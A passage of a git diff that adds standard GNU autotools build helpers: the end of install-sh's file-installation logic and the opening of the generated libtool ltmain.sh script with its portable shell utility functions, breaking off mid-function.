$posix_mkdir; then + (umask $mkdir_umask && + $doit_exec $mkdirprog $mkdir_mode -p -- "$dstdir") && break + # Don't fail if two instances are running concurrently. + test -d "$prefix" || exit 1 + else + case $prefix in + *\'*) qprefix=`echo "$prefix" | sed "s/'/'\\\\\\\\''/g"`;; + *) qprefix=$prefix;; + esac + prefixes="$prefixes '$qprefix'" + fi + fi + prefix=$prefix/ + done + + if test -n "$prefixes"; then + # Don't fail if two instances are running concurrently. + (umask $mkdir_umask && + eval "\$doit_exec \$mkdirprog $prefixes") || + test -d "$dstdir" || exit 1 + obsolete_mkdir_used=true + fi + fi + fi + + if test -n "$dir_arg"; then + { test -z "$chowncmd" || $doit $chowncmd "$dst"; } && + { test -z "$chgrpcmd" || $doit $chgrpcmd "$dst"; } && + { test "$obsolete_mkdir_used$chowncmd$chgrpcmd" = false || + test -z "$chmodcmd" || $doit $chmodcmd $mode "$dst"; } || exit 1 + else + + # Make a couple of temp file names in the proper directory. + dsttmp=${dstdirslash}_inst.$$_ + rmtmp=${dstdirslash}_rm.$$_ + + # Trap to clean up those temp files at exit. + trap 'ret=$?; rm -f "$dsttmp" "$rmtmp" && exit $ret' 0 + + # Copy the file name to the temp name. + (umask $cp_umask && + { test -z "$stripcmd" || { + # Create $dsttmp read-write so that cp doesn't create it read-only, + # which would cause strip to fail. + if test -z "$doit"; then + : >"$dsttmp" # No need to fork-exec 'touch'. + else + $doit touch "$dsttmp" + fi + } + } && + $doit_exec $cpprog "$src" "$dsttmp") && + + # and set any options; do chmod last to preserve setuid bits. + # + # If any of these fail, we abort the whole thing. If we want to + # ignore errors from any of these, just make sure not to ignore + # errors from the above "$doit $cpprog $src $dsttmp" command. + # + { test -z "$chowncmd" || $doit $chowncmd "$dsttmp"; } && + { test -z "$chgrpcmd" || $doit $chgrpcmd "$dsttmp"; } && + { test -z "$stripcmd" || $doit $stripcmd "$dsttmp"; } && + { test -z "$chmodcmd" || $doit $chmodcmd $mode "$dsttmp"; } && + + # If -C, don't bother to copy if it wouldn't change the file. + if $copy_on_change && + old=`LC_ALL=C ls -dlL "$dst" 2>/dev/null` && + new=`LC_ALL=C ls -dlL "$dsttmp" 2>/dev/null` && + set -f && + set X $old && old=:$2:$4:$5:$6 && + set X $new && new=:$2:$4:$5:$6 && + set +f && + test "$old" = "$new" && + $cmpprog "$dst" "$dsttmp" >/dev/null 2>&1 + then + rm -f "$dsttmp" + else + # If $backupsuffix is set, and the file being installed + # already exists, attempt a backup. Don't worry if it fails, + # e.g., if mv doesn't support -f. + if test -n "$backupsuffix" && test -f "$dst"; then + $doit $mvcmd -f "$dst" "$dst$backupsuffix" 2>/dev/null + fi + + # Rename the file to the real destination. + $doit $mvcmd -f "$dsttmp" "$dst" 2>/dev/null || + + # The rename failed, perhaps because mv can't rename something else + # to itself, or perhaps because mv is so ancient that it does not + # support -f. + { + # Now remove or move aside any old file at destination location. + # We try this two ways since rm can't unlink itself on some + # systems and the destination file might be busy for other + # reasons. In this case, the final cleanup might fail but the new + # file should still install successfully. + { + test ! -f "$dst" || + $doit $rmcmd "$dst" 2>/dev/null || + { $doit $mvcmd -f "$dst" "$rmtmp" 2>/dev/null && + { $doit $rmcmd "$rmtmp" 2>/dev/null; :; } + } || + { echo "$0: cannot unlink or rename $dst" >&2 + (exit 1); exit 1 + } + } && + + # Now rename the file to the real destination. + $doit $mvcmd "$dsttmp" "$dst" + } + fi || exit 1 + + trap '' 0 + fi +done + +# Local variables: +# eval: (add-hook 'before-save-hook 'time-stamp) +# time-stamp-start: "scriptversion=" +# time-stamp-format: "%:y-%02m-%02d.%02H" +# time-stamp-time-zone: "UTC0" +# time-stamp-end: "; # UTC" +# End: diff --git a/build-aux/ltmain.sh b/build-aux/ltmain.sh new file mode 100644 index 00000000..55066934 --- /dev/null +++ b/build-aux/ltmain.sh @@ -0,0 +1,11437 @@ +#! /usr/bin/env sh +## DO NOT EDIT - This file generated from ./build-aux/ltmain.in +## by inline-source v2019-02-19.15 + +# libtool (GNU libtool) 2.4.7.4-1ec8f-dirty +# Provide generalized library-building support services. +# Written by Gordon Matzigkeit , 1996 + +# Copyright (C) 1996-2019, 2021-2022 Free Software Foundation, Inc. +# This is free software; see the source for copying conditions. There is NO +# warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + +# GNU Libtool is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# As a special exception to the GNU General Public License, +# if you distribute this file as part of a program or library that +# is built using GNU Libtool, you may include this file under the +# same distribution terms that you use for the rest of that program. +# +# GNU Libtool is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + + +PROGRAM=libtool +PACKAGE=libtool +VERSION=2.4.7.4-1ec8f-dirty +package_revision=2.4.7.4 + + +## ------ ## +## Usage. ## +## ------ ## + +# Run './libtool --help' for help with using this script from the +# command line. + + +## ------------------------------- ## +## User overridable command paths. ## +## ------------------------------- ## + +# After configure completes, it has a better idea of some of the +# shell tools we need than the defaults used by the functions shared +# with bootstrap, so set those here where they can still be over- +# ridden by the user, but otherwise take precedence. + +: ${AUTOCONF="autoconf"} +: ${AUTOMAKE="automake"} + + +## -------------------------- ## +## Source external libraries. ## +## -------------------------- ## + +# Much of our low-level functionality needs to be sourced from external +# libraries, which are installed to $pkgauxdir. + +# Set a version string for this script. +scriptversion=2019-02-19.15; # UTC + +# General shell script boiler plate, and helper functions. +# Written by Gary V. Vaughan, 2004 + +# This is free software. There is NO warranty; not even for +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +# +# Copyright (C) 2004-2019, 2021 Bootstrap Authors +# +# This file is dual licensed under the terms of the MIT license +# , and GPL version 2 or later +# . You must apply one of +# these licenses when using or redistributing this software or any of +# the files within it. See the URLs above, or the file `LICENSE` +# included in the Bootstrap distribution for the full license texts. + +# Please report bugs or propose patches to: +# + + +## ------ ## +## Usage. ## +## ------ ## + +# Evaluate this file near the top of your script to gain access to +# the functions and variables defined here: +# +# . `echo "$0" | ${SED-sed} 's|[^/]*$||'`/build-aux/funclib.sh +# +# If you need to override any of the default environment variable +# settings, do that before evaluating this file. + + +## -------------------- ## +## Shell normalisation. ## +## -------------------- ## + +# Some shells need a little help to be as Bourne compatible as possible. +# Before doing anything else, make sure all that help has been provided! + +DUALCASE=1; export DUALCASE # for MKS sh +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then : + emulate sh + NULLCMD=: + # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else + case `(set -o) 2>/dev/null` in *posix*) set -o posix ;; esac +fi + +# NLS nuisances: We save the old values in case they are required later. +_G_user_locale= +_G_safe_locale= +for _G_var in LANG LANGUAGE LC_ALL LC_CTYPE LC_COLLATE LC_MESSAGES +do + eval "if test set = \"\${$_G_var+set}\"; then + save_$_G_var=\$$_G_var + $_G_var=C + export $_G_var + _G_user_locale=\"$_G_var=\\\$save_\$_G_var; \$_G_user_locale\" + _G_safe_locale=\"$_G_var=C; \$_G_safe_locale\" + fi" +done +# These NLS vars are set unconditionally (bootstrap issue #24). Unset those +# in case the environment reset is needed later and the $save_* variant is not +# defined (see the code above). +LC_ALL=C +LANGUAGE=C +export LANGUAGE LC_ALL + +# Make sure IFS has a sensible default +sp=' ' +nl=' +' +IFS="$sp $nl" + +# There are apparently some retarded systems that use ';' as a PATH separator! +if test "${PATH_SEPARATOR+set}" != set; then + PATH_SEPARATOR=: + (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { + (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || + PATH_SEPARATOR=';' + } +fi + + +# func_unset VAR +# -------------- +# Portably unset VAR. +# In some shells, an 'unset VAR' statement leaves a non-zero return +# status if VAR is already unset, which might be problematic if the +# statement is used at the end of a function (thus poisoning its return +# value) or when 'set -e' is active (causing even a spurious abort of +# the script in this case). +func_unset () +{ + { eval $1=; (eval unset $1) >/dev/null 2>&1 && eval unset $1 || : ; } +} + + +# Make sure CDPATH doesn't cause `cd` commands to output the target dir. +func_unset CDPATH + +# Make sure ${,E,F}GREP behave sanely. +func_unset GREP_OPTIONS + + +## ------------------------- ## +## Locate command utilities. ## +## ------------------------- ## + + +# func_executable_p FILE +# ---------------------- +# Check that FILE is an executable regular file. +func_executable_p () +{ + test -f "$1" && test -x "$1" +} + + +# func_path_progs PROGS_LIST CHECK_FUNC [PATH] +# -------------------------------------------- +# Search for either a program that responds to --version with output +# containing "GNU", or else returned by CHECK_FUNC otherwise, by +# trying all the directories in PATH with each of the elements of +# PROGS_LIST. +# +# CHECK_FUNC should accept the path to a candidate program, and +# set $func_check_prog_result if it truncates its output less than +# $_G_path_prog_max characters. +func_path_progs () +{ + _G_progs_list=$1 + _G_check_func=$2 + _G_PATH=${3-"$PATH"} + + _G_path_prog_max=0 + _G_path_prog_found=false + _G_save_IFS=$IFS; IFS=${PATH_SEPARATOR-:} + for _G_dir in $_G_PATH; do + IFS=$_G_save_IFS + test -z "$_G_dir" && _G_dir=. + for _G_prog_name in $_G_progs_list; do + for _exeext in '' .EXE; do + _G_path_prog=$_G_dir/$_G_prog_name$_exeext + func_executable_p "$_G_path_prog" || continue + case `"$_G_path_prog" --version 2>&1` in + *GNU*) func_path_progs_result=$_G_path_prog _G_path_prog_found=: ;; + *) $_G_check_func $_G_path_prog + func_path_progs_result=$func_check_prog_result + ;; + esac + $_G_path_prog_found && break 3 + done + done + done + IFS=$_G_save_IFS + test -z "$func_path_progs_result" && { + echo "no acceptable sed could be found in \$PATH" >&2 + exit 1 + } +} + + +# We want to be able to use the functions in this file before configure +# has figured out where the best binaries are kept, which means we have +# to search for them ourselves - except when the results are already set +# where we skip the searches. + +# Unless the user overrides by setting SED, search the path for either GNU +# sed, or the sed that truncates its output the least. +test -z "$SED" && { + _G_sed_script=s/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/ + for _G_i in 1 2 3 4 5 6 7; do + _G_sed_script=$_G_sed_script$nl$_G_sed_script + done + echo "$_G_sed_script" 2>/dev/null | sed 99q >conftest.sed + _G_sed_script= + + func_check_prog_sed () + { + _G_path_prog=$1 + + _G_count=0 + printf 0123456789 >conftest.in + while : + do + cat conftest.in conftest.in >conftest.tmp + mv conftest.tmp conftest.in + cp conftest.in conftest.nl + echo '' >> conftest.nl + "$_G_path_prog" -f conftest.sed conftest.out 2>/dev/null || break + diff conftest.out conftest.nl >/dev/null 2>&1 || break + _G_count=`expr $_G_count + 1` + if test "$_G_count" -gt "$_G_path_prog_max"; then + # Best one so far, save it but keep looking for a better one + func_check_prog_result=$_G_path_prog + _G_path_prog_max=$_G_count + fi + # 10*(2^10) chars as input seems more than enough + test 10 -lt "$_G_count" && break + done + rm -f conftest.in conftest.tmp conftest.nl conftest.out + } + + func_path_progs "sed gsed" func_check_prog_sed "$PATH:/usr/xpg4/bin" + rm -f conftest.sed + SED=$func_path_progs_result +} + + +# Unless the user overrides by setting GREP, search the path for either GNU +# grep, or the grep that truncates its output the least. +test -z "$GREP" && { + func_check_prog_grep () + { + _G_path_prog=$1 + + _G_count=0 + _G_path_prog_max=0 + printf 0123456789 >conftest.in + while : + do + cat conftest.in conftest.in >conftest.tmp + mv conftest.tmp conftest.in + cp conftest.in conftest.nl + echo 'GREP' >> conftest.nl + "$_G_path_prog" -e 'GREP$' -e '-(cannot match)-' conftest.out 2>/dev/null || break + diff conftest.out conftest.nl >/dev/null 2>&1 || break + _G_count=`expr $_G_count + 1` + if test "$_G_count" -gt "$_G_path_prog_max"; then + # Best one so far, save it but keep looking for a better one + func_check_prog_result=$_G_path_prog + _G_path_prog_max=$_G_count + fi + # 10*(2^10) chars as input seems more than enough + test 10 -lt "$_G_count" && break + done + rm -f conftest.in conftest.tmp conftest.nl conftest.out + } + + func_path_progs "grep ggrep" func_check_prog_grep "$PATH:/usr/xpg4/bin" + GREP=$func_path_progs_result +} + + +## ------------------------------- ## +## User overridable command paths. ## +## ------------------------------- ## + +# All uppercase variable names are used for environment variables. These +# variables can be overridden by the user before calling a script that +# uses them if a suitable command of that name is not already available +# in the command search PATH. + +: ${CP="cp -f"} +: ${ECHO="printf %s\n"} +: ${EGREP="$GREP -E"} +: ${FGREP="$GREP -F"} +: ${LN_S="ln -s"} +: ${MAKE="make"} +: ${MKDIR="mkdir"} +: ${MV="mv -f"} +: ${RM="rm -f"} +: ${SHELL="${CONFIG_SHELL-/bin/sh}"} + + +## -------------------- ## +## Useful sed snippets. ## +## -------------------- ## + +sed_dirname='s|/[^/]*$||' +sed_basename='s|^.*/||' + +# Sed substitution that helps us do robust quoting. It backslashifies +# metacharacters that are still active within double-quoted strings. +sed_quote_subst='s|\([`"$\\]\)|\\\1|g' + +# Same as above, but do not quote variable references. +sed_double_quote_subst='s/\(["`\\]\)/\\\1/g' + +# Sed substitution that turns a string into a regex matching for the +# string literally. +sed_make_literal_regex='s|[].[^$\\*\/]|\\&|g' + +# Sed substitution that converts a w32 file name or path +# that contains forward slashes, into one that contains +# (escaped) backslashes. A very naive implementation. +sed_naive_backslashify='s|\\\\*|\\|g;s|/|\\|g;s|\\|\\\\|g' + +# Re-'\' parameter expansions in output of sed_double_quote_subst that +# were '\'-ed in input to the same. If an odd number of '\' preceded a +# '$' in input to sed_double_quote_subst, that '$' was protected from +# expansion. Since each input '\' is now two '\'s, look for any number +# of runs of four '\'s followed by two '\'s and then a '$'. '\' that '$'. +_G_bs='\\' +_G_bs2='\\\\' +_G_bs4='\\\\\\\\' +_G_dollar='\$' +sed_double_backslash="\ + s/$_G_bs4/&\\ +/g + s/^$_G_bs2$_G_dollar/$_G_bs&/ + s/\\([^$_G_bs]\\)$_G_bs2$_G_dollar/\\1$_G_bs2$_G_bs$_G_dollar/g + s/\n//g" + +# require_check_ifs_backslash +# --------------------------- +# Check if we can use backslash as IFS='\' separator, and set +# $check_ifs_backshlash_broken to ':' or 'false'. +require_check_ifs_backslash=func_require_check_ifs_backslash +func_require_check_ifs_backslash () +{ + _G_save_IFS=$IFS + IFS='\' + _G_check_ifs_backshlash='a\\b' + for _G_i in $_G_check_ifs_backshlash + do + case $_G_i in + a) + check_ifs_backshlash_broken=false + ;; + '') + break + ;; + *) + check_ifs_backshlash_broken=: + break + ;; + esac + done + IFS=$_G_save_IFS + require_check_ifs_backslash=: +} + + +## ----------------- ## +## Global variables. ## +## ----------------- ## + +# Except for the global variables explicitly listed below, the following +# functions in the '^func_' namespace, and the '^require_' namespace +# variables initialised in the 'Resource management' section, sourcing +# this file will not pollute your global namespace with anything +# else. There's no portable way to scope variables in Bourne shell +# though, so actually running these functions will sometimes place +# results into a variable named after the function, and often use +# temporary variables in the '^_G_' namespace. If you are careful to +# avoid using those namespaces casually in your sourcing script, things +# should continue to work as you expect. And, of course, you can freely +# overwrite any of the functions or variables defined here before +# calling anything to customize them. + +EXIT_SUCCESS=0 +EXIT_FAILURE=1 +EXIT_MISMATCH=63 # $? = 63 is used to indicate version mismatch to missing. +EXIT_SKIP=77 # $? = 77 is used to indicate a skipped test to automake. + +# Allow overriding, eg assuming that you follow the convention of +# putting '$debug_cmd' at the start of all your functions, you can get +# bash to show function call trace with: +# +# debug_cmd='eval echo "${FUNCNAME[0]} $*" >&2' bash your-script-name +debug_cmd=${debug_cmd-":"} +exit_cmd=: + +# By convention, finish your script with: +# +# exit $exit_status +# +# so that you can set exit_status to non-zero if you want to indicate +# something went wrong during execution without actually bailing out at +# the point of failure. +exit_status=$EXIT_SUCCESS + +# Work around backward compatibility issue on IRIX 6.5. On IRIX 6.4+, sh +# is ksh but when the shell is invoked as "sh" and the current value of +# the _XPG environment variable is not equal to 1 (one), the special +# positional parameter $0, within a function call, is the name of the +# function. +progpath=$0 + +# The name of this program. +progname=`$ECHO "$progpath" |$SED "$sed_basename"` + +# Make sure we have an absolute progpath for reexecution: +case $progpath in + [\\/]*|[A-Za-z]:\\*) ;; + *[\\/]*) + progdir=`$ECHO "$progpath" |$SED "$sed_dirname"` + progdir=`cd "$progdir" && pwd` + progpath=$progdir/$progname + ;; + *) + _G_IFS=$IFS + IFS=${PATH_SEPARATOR-:} + for progdir in $PATH; do + IFS=$_G_IFS + test -x "$progdir/$progname" && break + done + IFS=$_G_IFS + test -n "$progdir" || progdir=`pwd` + progpath=$progdir/$progname + ;; +esac + + +## ----------------- ## +## Standard options. ## +## ----------------- ## + +# The following options affect the operation of the functions defined +# below, and should be set appropriately depending on run-time para- +# meters passed on the command line. + +opt_dry_run=false +opt_quiet=false +opt_verbose=false + +# Categories 'all' and 'none' are always available. Append any others +# you will pass as the first argument to func_warning from your own +# code. +warning_categories= + +# By default, display warnings according to 'opt_warning_types'. Set +# 'warning_func' to ':' to elide all warnings, or func_fatal_error to +# treat the next displayed warning as a fatal error. +warning_func=func_warn_and_continue + +# Set to 'all' to display all warnings, 'none' to suppress all +# warnings, or a space delimited list of some subset of +# 'warning_categories' to display only the listed warnings. +opt_warning_types=all + + +## -------------------- ## +## Resource management. ## +## -------------------- ## + +# This section contains definitions for functions that each ensure a +# particular resource (a file, or a non-empty configuration variable for +# example) is available, and if appropriate to extract default values +# from pertinent package files. Call them using their associated +# 'require_*' variable to ensure that they are executed, at most, once. +# +# It's entirely deliberate that calling these functions can set +# variables that don't obey the namespace limitations obeyed by the rest +# of this file, in order that that they be as useful as possible to +# callers. + + +# require_term_colors +# ------------------- +# Allow display of bold text on terminals that support it. +require_term_colors=func_require_term_colors +func_require_term_colors () +{ + $debug_cmd + + test -t 1 && { + # COLORTERM and USE_ANSI_COLORS environment variables take + # precedence, because most terminfo databases neglect to describe + # whether color sequences are supported. + test -n "${COLORTERM+set}" && : ${USE_ANSI_COLORS="1"} + + if test 1 = "$USE_ANSI_COLORS"; then + # Standard ANSI escape sequences + tc_reset='' + tc_bold=''; tc_standout='' + tc_red=''; tc_green='' + tc_blue=''; tc_cyan='' + else + # Otherwise trust the terminfo database after all. + test -n "`tput sgr0 2>/dev/null`" && { + tc_reset=`tput sgr0` + test -n "`tput bold 2>/dev/null`" && tc_bold=`tput bold` + tc_standout=$tc_bold + test -n "`tput smso 2>/dev/null`" && tc_standout=`tput smso` + test -n "`tput setaf 1 2>/dev/null`" && tc_red=`tput setaf 1` + test -n "`tput setaf 2 2>/dev/null`" && tc_green=`tput setaf 2` + test -n "`tput setaf 4 2>/dev/null`" && tc_blue=`tput setaf 4` + test -n "`tput setaf 5 2>/dev/null`" && tc_cyan=`tput setaf 5` + } + fi + } + + require_term_colors=: +} + + +## ----------------- ## +## Function library. ## +## ----------------- ## + +# This section contains a variety of useful functions to call in your +# scripts. Take note of the portable wrappers for features provided by +# some modern shells, which will fall back to slower equivalents on +# less featureful shells. + + +# func_append VAR VALUE +# --------------------- +# Append VALUE onto the existing contents of VAR. + + # We should try to minimise forks, especially on Windows where they are + # unreasonably slow, so skip the feature probes when bash or zsh are + # being used: + if test set = "${BASH_VERSION+set}${ZSH_VERSION+set}"; then + : ${_G_HAVE_ARITH_OP="yes"} + : ${_G_HAVE_XSI_OPS="yes"} + # The += operator was introduced in bash 3.1 + case $BASH_VERSION in + [12].* | 3.0 | 3.0*) ;; + *) + : ${_G_HAVE_PLUSEQ_OP="yes"} + ;; + esac + fi + + # _G_HAVE_PLUSEQ_OP + # Can be empty, in which case the shell is probed, "yes" if += is + # useable or anything else if it does not work. + test -z "$_G_HAVE_PLUSEQ_OP" \ + && (eval 'x=a; x+=" b"; test "a b" = "$x"') 2>/dev/null \ + && _G_HAVE_PLUSEQ_OP=yes + +if test yes = "$_G_HAVE_PLUSEQ_OP" +then + # This is an XSI compatible shell, allowing a faster implementation... + eval 'func_append () + { + $debug_cmd + + eval "$1+=\$2" + }' +else + # ...otherwise fall back to using expr, which is often a shell builtin. + func_append () + { + $debug_cmd + + eval "$1=\$$1\$2" + } +fi + + +# func_append_quoted VAR VALUE +# ---------------------------- +# Quote VALUE and append to the end of shell variable VAR, separated +# by a space. +if test yes = "$_G_HAVE_PLUSEQ_OP"; then + eval 'func_append_quoted () + { + $debug_cmd + + func_quote_arg pretty "$2" + eval "$1+=\\ \$func_quote_arg_result" + }' +else + func_append_quoted () + { + $debug_cmd + + func_quote_arg pretty "$2" + eval "$1=\$$1\\ \$func_quote_arg_result" + } +fi + + +# func_append_uniq VAR VALUE +# -------------------------- +# Append unique VALUE onto the existing contents of VAR, assuming +# entries are delimited by the first character of VALUE. For example: +# +# func_append_uniq options " --another-option option-argument" +# +# will only append to $options if " --another-option option-argument " +# is not already present somewhere in $options already (note spaces at +# each end implied by leading space in second argument). +func_append_uniq () +{ + $debug_cmd + + eval _G_current_value='`$ECHO $'$1'`' + _G_delim=`expr "$2" : '\(.\)'` + + case $_G_delim$_G_current_value$_G_delim in + *"$2$_G_delim"*) ;; + *) func_append "$@" ;; + esac +} + + +# func_arith TERM... +# ------------------ +# Set func_arith_result to the result of evaluating TERMs. + test -z "$_G_HAVE_ARITH_OP" \ + && (eval 'test 2 = $(( 1 + 1 ))') 2>/dev/null \ + && _G_HAVE_ARITH_OP=yes + +if test yes = "$_G_HAVE_ARITH_OP"; then + eval 'func_arith () + { + $debug_cmd + + func_arith_result=$(( $* )) + }' +else + func_arith () + { + $debug_cmd + + func_arith_result=`expr "$@"` + } +fi + + +# func_basename FILE +# ------------------ +# Set func_basename_result to FILE with everything up to and including +# the last / stripped. +if test yes = "$_G_HAVE_XSI_OPS"; then + # If this shell supports suffix pattern removal, then use it to avoid + # forking. Hide the definitions single quotes in case the shell chokes + # on unsupported syntax... + _b='func_basename_result=${1##*/}' + _d='case $1 in + */*) func_dirname_result=${1%/*}$2 ;; + * ) func_dirname_result=$3 ;; + esac' + +else + # ...otherwise fall back to using sed. + _b='func_basename_result=`$ECHO "$1" |$SED "$sed_basename"`' + _d='func_dirname_result=`$ECHO "$1" |$SED "$sed_dirname"` + if test "X$func_dirname_result" = "X$1"; then + func_dirname_result=$3 + else + func_append func_dirname_result "$2" + fi' +fi + +eval 'func_basename () +{ + $debug_cmd + + '"$_b"' +}' + + +# func_dirname FILE APPEND NONDIR_REPLACEMENT +# ------------------------------------------- +# Compute the dirname of FILE. If nonempty, add APPEND to the result, +# otherwise set result to NONDIR_REPLACEMENT. +eval 'func_dirname () +{ + $debug_cmd + + '"$_d"' +}' + + +# func_dirname_and_basename FILE APPEND NONDIR_REPLACEMENT +# -------------------------------------------------------- +# Perform func_basename and func_dirname in a single function +# call: +# dirname: Compute the dirname of FILE. If nonempty, +# add APPEND to the result, otherwise set result +# to NONDIR_REPLACEMENT. +# value returned in "$func_dirname_result" +# basename: Compute filename of FILE. +# value retuned in "$func_basename_result" +# For efficiency, we do not delegate to the functions above but instead +# duplicate the functionality here. +eval 'func_dirname_and_basename () +{ + $debug_cmd + + '"$_b"' + '"$_d"' +}' + + +# func_echo ARG... +# ---------------- +# Echo program name prefixed message. +func_echo () +{ + $debug_cmd + + _G_message=$* + + func_echo_IFS=$IFS + IFS=$nl + for _G_line in $_G_message; do + IFS=$func_echo_IFS + $ECHO "$progname: $_G_line" + done + IFS=$func_echo_IFS +} + + +# func_echo_all ARG... +# -------------------- +# Invoke $ECHO with all args, space-separated. +func_echo_all () +{ + $ECHO "$*" +} + + +# func_echo_infix_1 INFIX ARG... +# ------------------------------ +# Echo program name, followed by INFIX on the first line, with any +# additional lines not showing INFIX. +func_echo_infix_1 () +{ + $debug_cmd + + $require_term_colors + + _G_infix=$1; shift + _G_indent=$_G_infix + _G_prefix="$progname: $_G_infix: " + _G_message=$* + + # Strip color escape sequences before counting printable length + for _G_tc in "$tc_reset" "$tc_bold" "$tc_standout" "$tc_red" "$tc_green" "$tc_blue" "$tc_cyan" + do + test -n "$_G_tc" && { + _G_esc_tc=`$ECHO "$_G_tc" | $SED "$sed_make_literal_regex"` + _G_indent=`$ECHO "$_G_indent" | $SED "s|$_G_esc_tc||g"` + } + done + _G_indent="$progname: "`echo "$_G_indent" | $SED 's|.| |g'`" " ## exclude from sc_prohibit_nested_quotes + + func_echo_infix_1_IFS=$IFS + IFS=$nl + for _G_line in $_G_message; do + IFS=$func_echo_infix_1_IFS + $ECHO "$_G_prefix$tc_bold$_G_line$tc_reset" >&2 + _G_prefix=$_G_indent + done + IFS=$func_echo_infix_1_IFS +} + + +# func_error ARG... +# ----------------- +# Echo program name prefixed message to standard error. +func_error () +{ + $debug_cmd + + $require_term_colors + + func_echo_infix_1 " $tc_standout${tc_red}error$tc_reset" "$*" >&2 +} + + +# func_fatal_error ARG... +# ----------------------- +# Echo program name prefixed message to standard error, and exit. +func_fatal_error () +{ + $debug_cmd + + func_error "$*" + exit $EXIT_FAILURE +} + + +# func_grep EXPRESSION FILENAME +# ----------------------------- +# Check whether EXPRESSION matches any line of FILENAME, without output. +func_grep () +{ + $debug_cmd + + $GREP "$1" "$2" >/dev/null 2>&1 +} + + +# func_len STRING +# --------------- +# Set func_len_result to the length of STRING. STRING may not +# start with a hyphen. + test -z "$_G_HAVE_XSI_OPS" \ + && (eval 'x=a/b/c; + test 5aa/bb/cc = "${#x}${x%%/*}${x%/*}${x#*/}${x##*/}"') 2>/dev/null \ + && _G_HAVE_XSI_OPS=yes + +if test yes = "$_G_HAVE_XSI_OPS"; then + eval 'func_len () + { + $debug_cmd + + func_len_result=${#1} + }' +else + func_len () + { + $debug_cmd + + func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len` + } +fi + + +# func_mkdir_p DIRECTORY-PATH +# --------------------------- +# Make sure the entire path to DIRECTORY-PATH is available. +func_mkdir_p () +{ + $debug_cmd + + _G_directory_path=$1 + _G_dir_list= + + if test -n "$_G_directory_path" && test : != "$opt_dry_run"; then + + # Protect directory names starting with '-' + case $_G_directory_path in + -*) _G_directory_path=./$_G_directory_path ;; + esac + + # While some portion of DIR does not yet exist... + while test ! -d "$_G_directory_path"; do + # ...make a list in topmost first order. Use a colon delimited + # list incase some portion of path contains whitespace. + _G_dir_list=$_G_directory_path:$_G_dir_list + + # If the last portion added has no slash in it, the list is done + case $_G_directory_path in */*) ;; *) break ;; esac + + # ...otherwise throw away the child directory and loop + _G_directory_path=`$ECHO "$_G_directory_path" | $SED -e "$sed_dirname"` + done + _G_dir_list=`$ECHO "$_G_dir_list" | $SED 's|:*$||'` + + func_mkdir_p_IFS=$IFS; IFS=: + for _G_dir in $_G_dir_list; do + IFS=$func_mkdir_p_IFS + # mkdir can fail with a 'File exist' error if two processes + # try to create one of the directories concurrently. Don't + # stop in that case! + $MKDIR "$_G_dir" 2>/dev/null || : + done + IFS=$func_mkdir_p_IFS + + # Bail out if we (or some other process) failed to create a directory. + test -d "$_G_directory_path" || \ + func_fatal_error "Failed to create '$1'" + fi +} + + +# func_mktempdir [BASENAME] +# ------------------------- +# Make a temporary directory that won't clash with other running +# libtool processes, and avoids race conditions if possible. If +# given, BASENAME is the basename for that directory. +func_mktempdir () +{ + $debug_cmd + + _G_template=${TMPDIR-/tmp}/${1-$progname} + + if test : = "$opt_dry_run"; then + # Return a directory name, but don't create it in dry-run mode + _G_tmpdir=$_G_template-$$ + else + + # If mktemp works, use that first and foremost + _G_tmpdir=`mktemp -d "$_G_template-XXXXXXXX" 2>/dev/null` + + if test ! -d "$_G_tmpdir"; then + # Failing that, at least try and use $RANDOM to avoid a race + _G_tmpdir=$_G_template-${RANDOM-0}$$ + + func_mktempdir_umask=`umask` + umask 0077 + $MKDIR "$_G_tmpdir" + umask $func_mktempdir_umask + fi + + # If we're not in dry-run mode, bomb out on failure + test -d "$_G_tmpdir" || \ + func_fatal_error "cannot create temporary directory '$_G_tmpdir'" + fi + + $ECHO "$_G_tmpdir" +} + + +# func_normal_abspath PATH +# ------------------------ +# Remove doubled-up and trailing slashes, "." path components, +# and cancel out any ".." path components in PATH after making +# it an absolute path. +func_normal_abspath () +{ + $debug_cmd + + # These SED scripts presuppose an absolute path with a trailing slash. + _G_pathcar='s|^/\([^/]*\).*$|\1|' + _G_pathcdr='s|^/[^/]*||' + _G_removedotparts=':dotsl + s|/\./|/|g + t dotsl + s|/\.$|/|' + _G_collapseslashes='s|/\{1,\}|/|g' + _G_finalslash='s|/*$|/|' + + # Start from root dir and reassemble the path. + func_normal_abspath_result= + func_normal_abspath_tpath=$1 + func_normal_abspath_altnamespace= + case $func_normal_abspath_tpath in + "") + # Empty path, that just means $cwd. + func_stripname '' '/' "`pwd`" + func_normal_abspath_result=$func_stripname_result + return + ;; + # The next three entries are used to spot a run of precisely + # two leading slashes without using negated character classes; + # we take advantage of case's first-match behaviour. + ///*) + # Unusual form of absolute path, do nothing. + ;; + //*) + # Not necessarily an ordinary path; POSIX reserves leading '//' + # and for example Cygwin uses it to access remote file shares + # over CIFS/SMB, so we conserve a leading double slash if found. + func_normal_abspath_altnamespace=/ + ;; + /*) + # Absolute path, do nothing. + ;; + *) + # Relative path, prepend $cwd. + func_normal_abspath_tpath=`pwd`/$func_normal_abspath_tpath + ;; + esac + + # Cancel out all the simple stuff to save iterations. We also want + # the path to end with a slash for ease of parsing, so make sure + # there is one (and only one) here. + func_normal_abspath_tpath=`$ECHO "$func_normal_abspath_tpath" | $SED \ + -e "$_G_removedotparts" -e "$_G_collapseslashes" -e "$_G_finalslash"` + while :; do + # Processed it all yet? + if test / = "$func_normal_abspath_tpath"; then + # If 